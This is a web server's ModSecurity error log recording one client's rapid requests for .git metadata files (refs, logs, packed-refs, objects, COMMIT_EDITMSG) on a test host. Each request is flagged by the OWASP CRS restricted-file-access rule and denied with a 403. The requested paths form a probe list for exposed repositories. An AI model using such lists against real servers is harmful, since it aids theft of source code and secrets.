[Fri Aug 01 20:57:21.207184 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/master&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HEgAAAAg&quot;]
[Fri Aug 01 20:57:21.207366 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/master&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HEgAAAAg&quot;]
[Fri Aug 01 20:57:21.207565 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/master&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HEgAAAAg&quot;]
[Fri Aug 01 20:57:21.229800 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/main&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/main&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HEwAAAAg&quot;]
[Fri Aug 01 20:57:21.229971 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/main&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HEwAAAAg&quot;]
[Fri Aug 01 20:57:21.230118 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/main&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HEwAAAAg&quot;]
[Fri Aug 01 20:57:21.252139 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HFAAAAAg&quot;]
[Fri Aug 01 20:57:21.252321 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HFAAAAAg&quot;]
[Fri Aug 01 20:57:21.252477 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HFAAAAAg&quot;]
[Fri Aug 01 20:57:21.274735 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info/exclude&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HFQAAAAg&quot;]
[Fri Aug 01 20:57:21.274924 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HFQAAAAg&quot;]
[Fri Aug 01 20:57:21.275087 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HFQAAAAg&quot;]
[Fri Aug 01 20:57:21.296996 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HFgAAAAg&quot;]
[Fri Aug 01 20:57:21.297195 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HFgAAAAg&quot;]
[Fri Aug 01 20:57:21.297382 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HFgAAAAg&quot;]
[Fri Aug 01 20:57:21.319473 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/main&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/main&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HFwAAAAg&quot;]
[Fri Aug 01 20:57:21.319664 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/main&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HFwAAAAg&quot;]
[Fri Aug 01 20:57:21.319827 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/main&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HFwAAAAg&quot;]
[Fri Aug 01 20:57:21.341819 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/origin/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/HEAD&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HGAAAAAg&quot;]
[Fri Aug 01 20:57:21.342006 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/HEAD&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HGAAAAAg&quot;]
[Fri Aug 01 20:57:21.342171 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/HEAD&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HGAAAAAg&quot;]
[Fri Aug 01 20:57:21.364413 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/packed-refs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HGQAAAAg&quot;]
[Fri Aug 01 20:57:21.364629 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HGQAAAAg&quot;]
[Fri Aug 01 20:57:21.364803 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HGQAAAAg&quot;]
[Fri Aug 01 20:57:21.386934 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HGgAAAAg&quot;]
[Fri Aug 01 20:57:21.387155 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HGgAAAAg&quot;]
[Fri Aug 01 20:57:21.387311 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HGgAAAAg&quot;]
[Fri Aug 01 20:57:21.409357 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/commit_editmsg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HGwAAAAg&quot;]
[Fri Aug 01 20:57:21.409573 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HGwAAAAg&quot;]
[Fri Aug 01 20:57:21.409738 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HGwAAAAg&quot;]
[Fri Aug 01 20:57:21.431858 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/description&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HHAAAAAg&quot;]
[Fri Aug 01 20:57:21.432054 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HHAAAAAg&quot;]
[Fri Aug 01 20:57:21.432215 2025] [:error] [pid 1621734] [client 185.177.72.16:9684] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;aI0OEXifoX1ev_wT9_6HHAAAAAg&quot;]
